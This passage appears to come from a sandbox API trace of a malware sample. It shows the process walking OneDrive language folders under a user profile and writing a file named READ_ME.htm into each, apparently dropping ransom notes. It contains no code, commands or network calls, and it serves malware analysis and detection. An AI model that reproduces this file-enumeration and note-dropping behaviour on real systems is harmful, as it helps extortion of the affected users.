cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.497] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeeff2e90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeeff2e90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeeff2e90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x130a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.497] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.498] SetErrorMode (uMode=0x0) returned 0x1 [0145.498] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gl", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gl", lpFilePart=0x0) returned 0x45 [0145.498] SetErrorMode (uMode=0x1) returned 0x0 [0145.498] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gl\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\gl\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeee29e10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeeff2e90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeeff2e90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.498] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeee29e10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeeff2e90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeeff2e90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.498] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeeff2e90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeeff2e90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeeff2e90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x130a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.498] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeeff2e90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeeff2e90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeeff2e90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x130a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.499] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.499] SetErrorMode (uMode=0x0) returned 0x1 [0145.499] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gl\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gl\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.499] SetErrorMode (uMode=0x1) returned 0x0 [0145.499] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gl\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\gl\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.500] SetErrorMode (uMode=0x0) returned 0x1 [0145.500] GetFileType (hFile=0x1d0) returned 0x1 [0145.501] WriteFile (in: hFile=0x1d0, lpBuffer=0x289b3a0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x289b3a0*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.502] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gu", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gu", lpFilePart=0x0) returned 0x45 [0145.502] SetErrorMode (uMode=0x1) returned 0x0 [0145.502] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gu\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\gu\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeeff2e90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef1e2070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef1e2070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.503] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeeff2e90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef1e2070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef1e2070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.503] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef1e2070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef1e2070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef1e2070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x126b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.503] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef1e2070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef1e2070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef1e2070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x126b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.504] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.504] SetErrorMode (uMode=0x0) returned 0x1 [0145.504] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gu", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gu", lpFilePart=0x0) returned 0x45 [0145.504] SetErrorMode (uMode=0x1) returned 0x0 [0145.504] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gu\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\gu\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeeff2e90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef1e2070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef1e2070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.504] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeeff2e90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef1e2070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef1e2070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.504] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef1e2070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef1e2070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef1e2070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x126b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.504] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef1e2070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef1e2070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef1e2070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x126b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.505] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.505] SetErrorMode (uMode=0x0) returned 0x1 [0145.505] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gu\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gu\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.505] SetErrorMode (uMode=0x1) returned 0x0 [0145.505] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gu\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\gu\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.505] SetErrorMode (uMode=0x0) returned 0x1 [0145.506] GetFileType (hFile=0x1d0) returned 0x1 [0145.506] WriteFile (in: hFile=0x1d0, lpBuffer=0x28a1988*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x28a1988*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.507] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ha-latn-ng", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ha-latn-ng", lpFilePart=0x0) returned 0x4d [0145.507] SetErrorMode (uMode=0x1) returned 0x0 [0145.507] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ha-latn-ng\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ha-latn-ng\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef1e2070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef3d1250, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef3d1250, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.509] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef1e2070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef3d1250, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef3d1250, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.509] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef3d1250, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef3d1250, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef3d1250, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x124b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.509] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef3d1250, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef3d1250, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef3d1250, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x124b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.509] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.509] SetErrorMode (uMode=0x0) returned 0x1 [0145.509] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ha-latn-ng", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ha-latn-ng", lpFilePart=0x0) returned 0x4d [0145.509] SetErrorMode (uMode=0x1) returned 0x0 [0145.510] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ha-latn-ng\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ha-latn-ng\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef1e2070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef3d1250, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef3d1250, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.510] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef1e2070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef3d1250, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef3d1250, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.510] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef3d1250, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef3d1250, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef3d1250, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x124b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.510] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef3d1250, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef3d1250, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef3d1250, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x124b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.510] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.511] SetErrorMode (uMode=0x0) returned 0x1 [0145.511] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ha-latn-ng\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ha-latn-ng\\READ_ME.htm", lpFilePart=0x0) returned 0x59 [0145.511] SetErrorMode (uMode=0x1) returned 0x0 [0145.511] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ha-latn-ng\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ha-latn-ng\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.511] SetErrorMode (uMode=0x0) returned 0x1 [0145.511] GetFileType (hFile=0x1d0) returned 0x1 [0145.512] WriteFile (in: hFile=0x1d0, lpBuffer=0x28a8070*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x28a8070*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.513] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\he", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\he", lpFilePart=0x0) returned 0x45 [0145.513] SetErrorMode (uMode=0x1) returned 0x0 [0145.513] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\he\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\he\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef3d1250, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef59a2d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef59a2d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.514] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef3d1250, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef59a2d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef59a2d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.514] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef59a2d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef59a2d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef59a2d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x102a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.514] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef59a2d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef59a2d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef59a2d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x102a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.514] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.514] SetErrorMode (uMode=0x0) returned 0x1 [0145.514] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\he", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\he", lpFilePart=0x0) returned 0x45 [0145.514] SetErrorMode (uMode=0x1) returned 0x0 [0145.514] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\he\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\he\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef3d1250, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef59a2d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef59a2d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.515] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef3d1250, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef59a2d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef59a2d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.515] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef59a2d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef59a2d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef59a2d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x102a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.515] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef59a2d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef59a2d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef59a2d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x102a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.515] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.515] SetErrorMode (uMode=0x0) returned 0x1 [0145.515] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\he\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\he\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.515] SetErrorMode (uMode=0x1) returned 0x0 [0145.516] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\he\\READ_ME.htm" (normalized: 